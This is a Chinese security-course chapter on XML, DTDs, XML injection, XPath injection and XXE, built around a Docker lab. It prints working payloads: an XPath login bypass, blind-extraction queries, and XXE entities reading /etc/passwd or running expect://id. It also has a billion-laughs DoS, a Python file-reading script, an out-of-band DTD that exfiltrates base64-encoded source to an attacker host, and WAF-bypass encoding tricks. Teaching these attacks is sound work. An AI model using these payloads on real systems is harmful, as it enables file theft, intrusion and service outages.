Files
security-book/02.WEB安全/09.xml注入与xxe.md
2025-08-27 14:13:17 +08:00

40 KiB
Raw Permalink Blame History

09.xml注入与xxe

1. 简介

XML 指可扩展标记语言eXtensible Markup Language是一种用于标记电子文件使其具有结构性的标记语言被设计用来传输和存储数据而不是显示数据。XML文档结构包括XML声明、DTD文档类型定义可选、文档元素。XML不会做任何事情。XML被设计用来结构化、存储以及传输信息。XML语言没有预定义的标签。 目前XML文件作为配置文件Spring、Struts2等、文档结构说明文件PDF、RSS等、图片格式文件SVG header应用比较广泛。 XML 的语法规范由 DTD Document Type Definition来进行控制。 XML和HTML之间的差异

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息,而 XML 旨在传输信息。

现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

1.1 基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!--xml 文件的声明 -->
<bookstore>                                                 <!-- 根元素 -->
  <book category="COOKING">       <!--bookstore 的子元素, category 为属性 -->
    <title>Everyday Italian</title>                      <!--book 的子元素 -->
    <author>Giada De Laurentiis</author>                 <!--book 的子元素 -->
    <year>2005</year>                                     <!--book 的子元素 -->
    <price>30.00</price>                                 <!--book 的子元素 -->
  </book>                                                 <!--book 的结束 -->
</bookstore>                                       <!--bookstore 的结束 -->

&lt;?xml version="1.0" encoding="UTF -8" standalone="yes"?> 称为XML prolog 用于声明XML文档的版本和编码是可选的必须放在文档开头。 standalone值是yes的时候表示DTD仅用于验证文档结构从而外部实体将被禁用但它的默认值是no而且有些parser会直接忽略这一项。

image-20240226164046573

1.2 基本语法

所有XML元素都须有关闭标签。

  • XML标签对大小写敏感。
  • XML必须正确地嵌套。
  • XML文档必须有根元素。
  • XML的属性值须加引号。

若多个字符都需要转义则可以将这些内容存放到CDATA里面

<![CDATA[ 内容 ]]>

1.3 DTD

  • DTD文档类型定义的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明也可以外部引用。
  • XML文档有自己的一个格式规范这个格式规范是由一个叫做DTDdocument type definition的东西控制的。
  • DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

1.4 实体引用

XML元素以形如 &lt;tag>foo&lt;/tag> 的标签开始和结束,如果元素内部出现如 < 的特殊字符解析就会失败为了避免这种情况XML用实体引用entity reference替换特殊字符。XML预定义五个实体引用即用 &lt ; &gt ; &amp ; &apos ; &quot ;替换&lt; > & ' "。 实体引用可以起到类似宏定义和文件包含的效果为了方便我们会希望自定义实体引用这个操作在称为Document Type DefinationDTD文档类型定义的过程中进行。

1.5 DTD

DTD文档类型定义的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明也可以外部引用。

1.5.1 内部DTD

使用内部的dtd文件即将约束规则定义在xml文档中

<!DOCTYPE 根元素名称 [ 元素声明 ]>

示例代码:

<?xml version="1.0"?>
<!DOCTYPE note [ 															<!-- 定义此文档是 note 类型的文档 -->
<!ELEMENT note ( to ,from ,heading ,body )> 	<!-- 定义 note 元素有四个元素 -->
<!ELEMENT to ( #PCDATA )> 										<!-- 定义 to 元素为 ”#PCDATA” 类型 -->
<!ELEMENT from ( #PCDATA )> 									<!-- 定义 from 元素为 ”#PCDATA” 类型 -->
<!ELEMENT head ( #PCDATA )> 									<!-- 定义 head 元素为 ”#PCDATA” 类型 -->
<!ELEMENT body ( #PCDATA )> 									<!-- 定义 body 元素为 ”#PCDATA” 类型 -->
]> 																						<!-- 闭合元素声明 -->
<note >
<to >Y0u </to >
<from >@re </from >
<head >v3ry </head >
<body >g00d !< /body >
</note >

1.5.2 外部DTD

<!DOCTYPE 根元素名称 SYSTEM "dtd 路径 ">    <!-- 引入外部的dtd文件 -->
<!DOCTYPE 根元素 PUBLIC "DTD 名称 " "DTD 文档的 URL">    <!-- 使用外部的dtd文件(网络上的dtd文件) -->

示例: 编写test.dtd文件

<!ELEMENT to ( #PCDATA )> 										<!-- 定义 to 元素为 ”#PCDATA” 类型 -->
<!ELEMENT from ( #PCDATA )> 									<!-- 定义 from 元素为 ”#PCDATA” 类型 -->
<!ELEMENT head ( #PCDATA )> 									<!-- 定义 head 元素为 ”#PCDATA” 类型 -->
<!ELEMENT body ( #PCDATA )> 									<!-- 定义 body 元素为 ”#PCDATA” 类型 -->

XML中导入DTD

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

CDATA和PCDATA是XML中的两种区分文本的方式。

  • CDATA是指将文本内容包含在&lt;![CDATA[ ]]>标记中表示此段文本不需要被解析器解释而是直接作为原始文本进行处理。CDATA内可以包含特殊字符如<, >, &, '等,这些字符不会被看作标记或实体,而只是作为文本内容。
  • PCDATA是指常规文本内容即没有&lt;![CDATA[ ]]>标记的文本内容会被XML解析器解释并根据其规则进行处理。但是XML中的一些特殊字符必须被转义例如字符"<", ">", "&"、"'"、""",否则会与标记混淆。

CDTA和PCDATA的区别在于CDATA内的内容不会被XML解析器解析而PCDATA的内容需要被解析器解析。

1.5.3 DTD元素

在一个 DTD 中,元素通过元素声明来进行声明。 声明一个元素 在 DTD 中XML 元素通过元素声明来进行声明。元素声明使用下面的语法:

<!ELEMENT element-name category><!ELEMENT element-name (element-content)>

空元素 空元素通过类别关键词EMPTY进行声明

<!ELEMENT element-name EMPTY>
实例:
<!ELEMENT br EMPTY>
XML example:


只有 PCDATA 的元素 只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:

<!ELEMENT element-name (#PCDATA)>
实例:
<!ELEMENT from (#PCDATA)>

带有任何内容的元素 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT element-name ANY>
实例:
<!ELEMENT note ANY>

带有子元素(序列)的元素 带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:

<!ELEMENT element-name (child1)><!ELEMENT element-name (child1,child2,...)>
实例:
<!ELEMENT note (to,from,heading,body)>

当子元素按照由逗号分隔开的序列进行声明时,这些子元素必须按照相同的顺序出现在文档中。在一个完整的声明中,子元素也必须被声明,同时子元素也可拥有子元素。"note" 元素的完整声明是:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

1.5.4 DTD属性

属性声明语法:

<!ATTLIST 元素名称 属性名称 属性类型 属性默认值 >

实例

DTD 实例:
<!ATTLIST payment type CDATA "check">
XML 实例:
<payment type="check" />

以下是 属性类型的选项:

类型 描述
CDATA 值为字符数据 (character data)
(_en1_|_en2_|..) 此值是枚举列表中的一个值
ID 值为唯一的 id
IDREF 值为另外一个元素的 id
IDREFS 值为其他 id 的列表
NMTOKEN 值为合法的 XML 名称
NMTOKENS 值为合法的 XML 名称的列表
ENTITY 值是一个实体
ENTITIES 值是一个实体列表
NOTATION 此值是符号的名称
xml: 值是一个预定义的 XML 值

默认属性值可使用下列值 :

解释
属性的默认值
#REQUIRED 属性值是必需的
#IMPLIED 属性不是必需的
#FIXED value 属性值是固定的

1.5.5 示例

DTD:
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">

合法的 XML:
<square width="100" />

在上面的例子中,"square" 被定义为带有 CDATA 类型的 "width" 属性的空元素。如果宽度没有被设定其默认值为0 。

1.5.6 REQUIRED

示例

DTD:
<!ATTLIST person number CDATA #REQUIRED>

合法的 XML:
<person number="5677" />

非法的 XML:
<person />

假如您没有默认值选项,但是仍然希望强制作者提交属性的话,请使用关键词 #REQUIRED。

1.5.7 IMPLIED

示例

DTD:
<!ATTLIST contact fax CDATA #IMPLIED>

合法的 XML:
<contact fax="555-667788" />

合法的 XML:
<contact />

假如您不希望强制作者包含属性,并且您没有默认值选项的话,请使用关键词 #IMPLIED。

1.5.8 FIXED

DTD:
<!ATTLIST sender company CDATA #FIXED "Microsoft">

合法的 XML:
<sender company="Microsoft" />

非法的 XML:
<sender company="W3Schools" />

如果您希望属性拥有固定的值,并不允许作者改变这个值,请使用 #FIXED 关键词。如果作者使用了不同的值XML 解析器会返回错误。

1.5.9 列举属性值

DTD:
<!ATTLIST payment type (check|cash) "cash">

XML 例子:
<payment type="check" /><payment type="cash" />

如果您希望属性值为一系列固定的合法值之一,请使用列举属性值。

1.5.10 DTD实体

  • 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

按实体有无参分类,实体分为一般实体和参数实体

  • 一般实体
<!ENTITY 实体名称 " 实体内容 ">

引用一般实体的方法: &实体名称 ; 一般实体可以在DTD中引用可以在XML中引用可以在声明前引用还可以在实体声明内部引用。

  • 参数实体
<!ENTITY % 实体名称 " 实体内容 ">

引用参数实体的方法: %实体名称 ; 参数实体只能在DTD中引用不能在声明前引用也不能在实体声明内部引用。 按实体使用方式分类,实体分为内部声明实体和引用外部实体

  • 内部实体
<!ENTITY 实体名称 " 实体的值 ">

示例

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
   <!ENTITY writer "eagleslab">
   <!ENTITY copyright "Copyright www.eagleslab.com">
]>
<test>&writer;©right;</test>
  • 外部实体

外部实体,用来引入外部资源。有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

示例

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
   <!ENTITY file SYSTEM "file:///etc/passwd">
   <!ENTITY copyright SYSTEM "http://test.com/dtd/entities.dtd">
]>
<author>&file;©right;</author>

外部实体可支持http、file等协议。不同程序支持的协议不同

libxml2 php java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

PHP支持的协议会更多一些但需要一定的扩展Rar\Ogg\https\ftps\zip\ssh2\expect

扩展 协议
openssl https
ftps
zip zip
ssh2 ssh2.shell
ssh2.exec
ssh2.tunnel
ssh2.sftp
ssh2.scp
rar rar
ogg oggvorbis
expect expect

PHP引用外部实体常见的利用协议

file:// 文件绝对路径 如: file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php

语法

<!ENTITY % 实体名称 SYSTEM "URI/URL">

示例

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 %file;
]>

%file(参数实体)是在DTD中被引用的&file;是在xml文档中被引用的。

2. XML注入

XML的设计宗旨是传输数据而非显示数据。 XML注入是一种古老的技术通过利用闭合标签改写XML文件实现的。 XML是一种数据组织存储的数据结构方式安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能例如新的账户信息等于添加了账户的特殊输入如果没有过滤则可以导致XML注入攻击。

前提条件

  • 用户能够控制数据的输入
  • 程序有拼凑的数据

示例 现有test.xml文件内容

<?xml version="1.0" encoding="utf-8"?>
<manager>
     <admin id ="1" >
     <username>admin </username >
     <password>admin </password >
     </admin>
    
     <admin id ="2" >
     <username>root </username>
     <password>root </password>
     </admin>
</manager>

XML与HTML一样也存在注入攻击在注入的方法上也非常相似。 对于上面的xml文件如果攻击者能够掌控password字段那么就会产生XML注入。如攻击者输入

admin </password></admin><admin id="3"><name>hack</name>
<password>hacker

最终修改结果为

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id ="1">
        <username>admin </username >
        <password>admin </password >
    </admin>

    <admin id ="2">
        <username>root </username>
        <password>admin </password>
    </admin>
    <admin id="3">
        <name>hack</name>
        <password>hacker </password>
    </admin>
</manager>

这样就通过XML注入添加了一个名为hack、密码为hacker的管理员账户。 XML注入两大要素标签闭合和获取XML表结构

2.1 XML注入防御

  • 对用户的输入进行过滤
  • 对用户的输入进行转义

3. XPath注入

XPath注入攻击是指利用XPath解析器的松散输入和容错特性能够在 URL、表单或其它信息上附带恶意的XPath 查询代码以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法它允许攻击者在事先不知道XPath查询相关知识的情况下通过XPath查询得到一个XML文档的完整内容。 XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时攻击者还可以提升他的权限。

3.1 攻击特点

XPath注入攻击利用两种技术即XPath扫描和 XPath查询布尔化。通过该攻击攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询和XML数据库 来执行身份验证、查找或者其它操作。 XPath注入攻击同SQL注入攻击类似但与SQL注入相比XPath具有的优势

3.1.1 广泛性

只要是利用XPath语法的Web 应用程序若未对输入的XPath查询做严格的处理都会存在XPath注入漏。 而在SQL注入攻击过程中根据数据库支持的SQL语言不同注入攻击的实现可能不同。

3.1.2 危害大

XPath语言几乎可以没有访问控制限制的引用XML文档的所有部分。而在SQL注入中一个用户的权限可能被限制到 某一特定的表、列或者查询。XPath注入攻击可以保证得到完整的XML文档即完整的数据库。只要Web服务应用具有基本的安全漏洞即可构造针对 XPath应用的自动攻击。

3.1.3 注入原理

XPath注入攻击主要是通过构建特殊的输入这些输入往往是XPath语法中的一些组合这些输入将作为参数传入Web 应用程序通过执行XPath查询而执行入侵者想要的操作。 注入对象不是数据库users表而是一个存储数据的XML文件。因为xpath不存在访问控制所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequestparametersinput等。 如果一个网站某应用程序将数据保存在XML中并且对用户的输入没有做限制攻击者提交了没有经过处理的输入就插入到 XPath 查询中即产生Xpath注入那么就攻击者就可能通过控制查询获取 据,或者删除数据之类的操作。 Xpath是xml路径语言用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面搜索页面需要与xml交互的位置。 现有代码test.xml(存储用户名和密码)

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id >1</id>
            <username>test1</username>
            <password>test1</password>
        </user>
        <user>
            <id>2</id>
            <username>test2</username>
            <password>test2</password>
        </user>
    </users>
</root>

test.php(用于接收传入参数并进行XML查询)

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <center>
        <form action="">
            <h1>登陆</h1>
            <input type="text" name="name" placeholder="用户名"><br>
            <input type="password" name="pwd" placeholder="密码"><br>
            <input type="submit" value="登陆">
        </form>
    </center>

</body>

</html>
<?php
if (!isset($_GET['name']) || !isset($_GET['pwd'])) {
    die();
}
$xml = simplexml_load_file('test.xml');
$name = $_GET['name'];
$pwd = $_GET['pwd'];
$query = "/root/users/user[username/text()='" . $name . "' and password/text()='" . $pwd . "']";
echo $query;
$result = $xml->xpath($query);
if ($result) {
    echo '<h2>Welcome</h2>';
    foreach ($result as $key => $value) {
        echo '
ID:' . $value->id;
        echo '
Username:' . $value->username;
    }
}else{
    echo '<h2>用户名密码错误</h2>';
}
?>

simplexml_load_file() 是PHP 中一个常用的 XML 解析函数,它可以从指定的 XML 文件中读取数据,并将其转换为一个简单的对象或数组。该函数支持基于 DOM 和SAX 两种解析方式,具有速度快、内存消耗小、易于使用等特点,适合于处理较小的 XML 文件和简单的 XML 数据格式。 在使用 simplexml_load_file() 函数时,需要传入一个 XML 文件路径作为参数,该函数会自动解析该文件,并返回一个 SimpleXMLElement 对象,该对象表示了整个 XML 文件的结构和各个元素的属性、文本节点等信息。通过访问 SimpleXMLElement 对象的属性和方法,可以轻松地获取和操作 XML 数据。

攻击利用: 攻击者在 username 字段中输入: ' or 1=1 or ''=' 上面这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。 攻击者可以利用XPath在应用程序中动态地操作XML文档。攻击完成登录可以再通过XPath盲注技术获取最高权限帐号和其它重要文档信息。

3.2 XPath盲注

如果要遍历出整个XML文档一般步骤如下

3.2.1 盲注根节点

利用count(/*)判断根下节点:

' or count(/*) =1 or '1' = '2

有返回结果证明存在一个根节点。 利用substring分割根节点的每个字符猜解第一级节点

' or substring(name(/*[position()=1]),1,1)='r' or '1'='2			# 猜根节点第一个字母是不是r
' or substring(name(/*[position()=1]),2,1)='o' or '1'='2			# 猜根节点第二个字母是不是o

此处如果错误将会看不到welcome

3.2.2 盲注子节点

判断root的下一级节点数

' or count(/root/*) =1 or '1' = '2

有返回结果证明存在一个root的下一级节点。 猜解root的下一级节点

' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='2			# 猜子节点第一个字母是不是u
' or substring(name(/root/*[position()=1]),2,1)='s' or '1'='2			# 猜子节点第二个字母是不是s

重复上述步骤,直至猜解出所有节点,最后来猜解节点中的数据或属性值。

3.3 Xpath注入攻击危害

  • 在URL及表单中提交恶意XPath代码可获取到权限限制数据的访问权并可修改这些数据。
  • 可通过此类漏洞查询获取到系统内部完整的XML文档内容。
  • 逻辑以及认证被绕过它不像数据库那样有各种权限xml没有各种权限的概念,正因为没有权限概念因此利用xpath构造查询的时候整个数据库都会被用户读取。

3.4 Xpath注入攻击防御

  • 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
  • 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
  • 对于系统出现的错误信息以IE错误编码信息替换屏蔽系统本身的出错信息。
  • 参数化XPath查询将需要构建的XPath查询表达式以变量的形式表示变量不是可以执行的脚本。
  • 通过MD5、SSL等加密算法对于数据敏感信息和在数据传输过程中加密即使某些非法用户通过非法手法获取数据包看到的也是加密后的信息。 总结下就是限制提交非法字符对输入内容严格检查过滤参数化XPath查询的变量。

4. XML外部实体注入

4.1 XXE漏洞简介

  • XXE漏洞全称XML External Entity Injection即XML外部实体注入。
  • XXE漏洞发生在应用程序解析XML输入时没有禁止外部实体的加载导致可加载恶意外部文件和代码造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
  • XXE漏洞触发的点往往是可以上传xml文件的位置没有对上传的xml文件进行过滤导致可上传恶意xml文件。
  • 解析xml在php库libxmllibxml>=2.9.0的版本中没有XXE漏洞。
  • simplexml_load_string()可以读取XML

4.2 测试环境搭建

现有xxe.php文件代码

<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
$xml = simplexml_import_dom($dom);
$xxe = $xml->xxe;
$str = "$xxe \n";
echo $str;
?>

代码说明:

file_get_contents 获取客户端输入内容 new DOMDocument() 初始化 XML 解析器 loadXML($xmlfile) 加载客户端输入的 XML 内容 simplexml_import_dom($dom) 获取 XML 文档节点,如果成功则返回 SimpleXMLElement 对象,如果失败则返回 FALSE 。 获取 SimpleXMLElement 对象中的节点 XXE ,然后输出 XXE 内容。

提交数据

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///C://Windows//win.ini">
]>
<xml>
    <xxe>&file;</xxe>
</xml>

image-20240226164119100

报错提示

Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in
a future version. To avoid this warning set 'always_populate_raw_post_data' to
'-1' in php.ini and use the php://input stream instead.

这是一条 PHP 警告信息,用于提示用户当前使用的 PHP 版本中已经不再支持自动填充 $HTTP_RAW_POST_DATA变量而应该使用 php://input 流来获取客户端提交的原始 POST 数据。这个警告通常在 PHP 5.6.x 或更高版本中出现,旨在提醒用户及时更新代码以适应新的 PHP 版本和功能。 建议按照警告信息中的指示,在 php.ini 文件中将 always_populate_raw_post_data 设置为 -1 ,以允许自动填充 $HTTP_RAW_POST_DATA 变量,或者降低版本。

4.3 XXE常见利用方式

与SQL相似XXE漏洞也分为有回显和无回显 有回显可以直接在页面中看到payload的执行结果或现象。 无回显又称为blind xxe可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

4.3.1 任意文件读取

首先准备一个有XXE漏洞的文件这里以xxe1.php文件为例

<?php
$xml = simplexml_load_string ($_REQUEST ['xml' ]);
print_r ($xml ); // 注释掉该语句即为无回显的情况
?>

构造payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///C://Windows//win.ini">
]>
<root>
    <name>&file;</name>
</root>

进行URL编码

http://localhost:8081/xxe.php?xml=
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%0A%3C!DOCTYPE%20xxe%20%5B%0A%3C!ELEMENT%20name%20ANY%20%3E%0A%3C!ENTITY%20file%20SYSTEM%20%22file%3A%2F%2F%2FC%3A%2F%2FWindows%2F%2Fwin.ini%22%3E%0A%5D%3E%0A%3Croot%3E%0A%20%20%20%20%3Cname%3E%26file%3B%3C%2Fname%3E%0A%3C%2Froot%3E

image-20240226164126422

通过构造外部实体payload在xml中&file;变成了外部文件C:\Windows\win.ini中内容,导致敏感信息泄露。

4.3.2 执行系统命令

在安装expect扩展的PHP环境里执行系统命令其他协议也有可能可以执行系统命令。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<root>
    <name>&xxe;</name>
</root>

通过XXE可以实现RCE的实例比较少需要依赖协议。

4.3.3 拒绝服务攻击(Dos)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

递归引用lol实体具体还有“lol”字符串然后一个lol2实体引用了10次lol实体一个lol3实体引用了10次lol2实体此时一个lol3实体就含有10^2 个“lol”了以此类推lol9实体含有10^8 个“lol”字符串最后再引用lol9。此测试可以在内存中将小型XML文档扩展到超过3GB而使服务器崩溃(但是大多数情况下会出现引用失败)。亦或者如果目标是UNIX系统

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random">]>
<foo>&xxe;</foo>

如果XML解析器尝试使用/dev/random文件中的内容来替代实体则此示例会使服务器使用 UNIX 系统)崩溃。

4.3.4 探测内网端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
<root>
    <name>&xxe;</name>
</root>

端口有没有开放等待的时间和报错的内容是不同的

4.3.5 攻击内网网站

跟前面端口探测差不多的思路

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload">]>
<root>
    <name>&xxe;</name>
</root>

4.3.6 XXE利用脚本

创建xxe.php文件

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>

读取文件的python脚本

import urllib.request
import urllib.parse

if __name__ == '__main__':
     url = "http://localhost:8081/xxe.php"
     file = "file:///C://Windows//win.ini"
     
     headers = { 'Content-type' : 'text/xml' }
     xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + file + '" >]><root><name>&xxe;</name></root>'
     data = xml.encode('utf-8')
     req = urllib.request.Request(url, data, headers)
     response = urllib.request.urlopen(req)
     print(response.read().decode('utf-8'))

运行效果

image-20240226164135886

4.3.7 靶场演示

使用一下靶场练习回显读取文件和无回显读取文件

docker run -d -p 8080:80 --name xxe registry.cn-hangzhou.aliyuncs.com/eagleslab/security:xxelab

image-20240226164141613

可以看到在输入之后抓包发包过程中发现通过XML传输数据。 代码审计

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

可以通过代码分析构造如下payload

4.3.7.1 有回显
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>
 <username>&file;</username>
 <password>hack</password>
</user>

image-20240226164148770

当然也可以使用伪协议之类对目标文件进行读取

php://filter/read=convert.base64-encode/resource=doLogin.php

image-20240226164154778

4.3.7.2 无回显

修改源码,禁掉输出代码和报错信息,改成无回显。

docker exec -it xxe bash
sed -i 's#echo $result;# #' /app/public/doLogin.php
exit

这个时候可以看到之前的payload就没有效果了。 遇到无回显可以通过Blind XXE方法加上外带数据通道来提取数据先使用php://filter协议获取目标文件的内容然后将内容以http请求发送到攻击服务器来读取数据。虽无法直接查看文件内容但我们可以使用易受攻击的服务器作为代理在外部网络上执行扫描以及代码。即当无回显情况时可以将数据发送到远程服务器(攻击服务器)。 本地部署一个evil.dtd文件 http://192.168.173.1:8081/evil.dtd ,内容为

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.173.1:8000?p=%file;'>">

然后加载我们的payload

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.173.1:8000/evil.dtd">
%remote;%int;%send;
]>

从访问日志当中读取到指定的文件

image-20240226164203821

  • 主要思路分析
    • 先调用%remote请求远程服务器(攻击服务器)上的http://192.168.173.1:8000/evil.dtd
    • 再调用evil.dtd中的%file。%file获取受攻击的服务器上面的敏感文件然后将%file的返回结果传到%send。
    • 然后调用%send;把读取到的数据发送到远程服务器上。
    • 这样就实现了外带数据的效果,解决 XXE 无回显的问题。
  • 优化一下payload

修改 http://192.168.173.1:8000/evil.dtd 文件为

<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'http://192.168.173.1:8000?p=%file;'>">

对应的payload为

<!DOCTYPE test[
<!ENTITY % dtd SYSTEM "http://192.168.173.1:8000/evil.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php"> %dtd;%payload;%send;
]>

image-20240226164215148

4.4 XXE绕过

4.4.1 编码绕过

ENTITY、SYSTEM、file被过滤 使用编码方式绕过UTF-16BE

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

4.4.2 文档中的额外空格

由于XXE通常在XML文档的开头所以比较省事儿的WAF可以避免处理整个文档而只解析它的开头。但是XML格式允许在格式化标记属性时使用任意数量的空格因此攻击者可以在&lt;?xml?>&lt;!DOCTYPE>中插入额外的空格从而绕过此类WAF。

4.4.3 格式无效

比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的否则WAF本身也可能成为攻击的目标。问题是外部资源的链接不仅可以存在于文档的第三部分正文还可以存在于声明<! DOCTYPE>中。 这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。

4.4.4 外来编码

除了前面提到的xml文档的三个部分之外还有位于它们之上的第四个部分它们控制文档的编码例如 <?xml?> ——文档的第一个字节带有可选的BOM(字节顺序标记)。 一个xml文档不仅可以用UTF-8编码也可以用UTF-16两个变体BE和LE、UTF-32四个变体BE、LE、2143、3412和EBCDIC编码。 在这种编码的帮助下使用正则表达式可以很容易地绕过WAF因为在这种类型的WAF中正则表达式通常仅配置为单字符集。 外来编码也可用于绕过成熟的WAF因为它们并不总是能够处理上面列出的所有编码。例如libxml2解析器只支持一种类型的utf-32utf-32BE特别是不支持BOM。

4.5 XXE工具

XXEinjector本身提供了非常非常丰富的操作选项所以大家在利用XXEinjector进行渗透测试之前请自习了解这些配置选项以最大限度地发挥XXEinjector的功能。当然了由于XXEinjector是基于Ruby开发的所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。

